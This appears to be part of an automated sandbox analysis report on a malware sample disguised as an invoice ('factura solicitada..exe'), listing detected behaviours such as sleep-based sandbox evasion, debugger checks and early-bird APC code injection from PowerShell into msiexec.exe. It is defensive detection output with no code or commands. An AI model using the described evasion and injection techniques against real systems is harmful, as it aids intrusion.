Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7720			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2009			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7940	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1320	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1320	Thread sleep time: -350000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_00406091 FindFirstFileA,FindClose,	0_2_00406091
Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B
Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_0040562F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040562F

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000002.00000002.1667072228.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\_q
Source: powershell.exe, 00000002.00000002.1667072228.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\_q
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.1667072228.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\_q
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000005.00000003.1906560488.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1974923370.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\factura solicitada..exe	API call chain: ExitProcess graph end node			graph_0-3511
Source: C:\Users\user\Desktop\factura solicitada..exe	API call chain: ExitProcess graph end node			graph_0-3515

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_02D9F520 LdrInitializeThunk,LdrInitializeThunk,

2_2_02D9F520

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 4270000

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
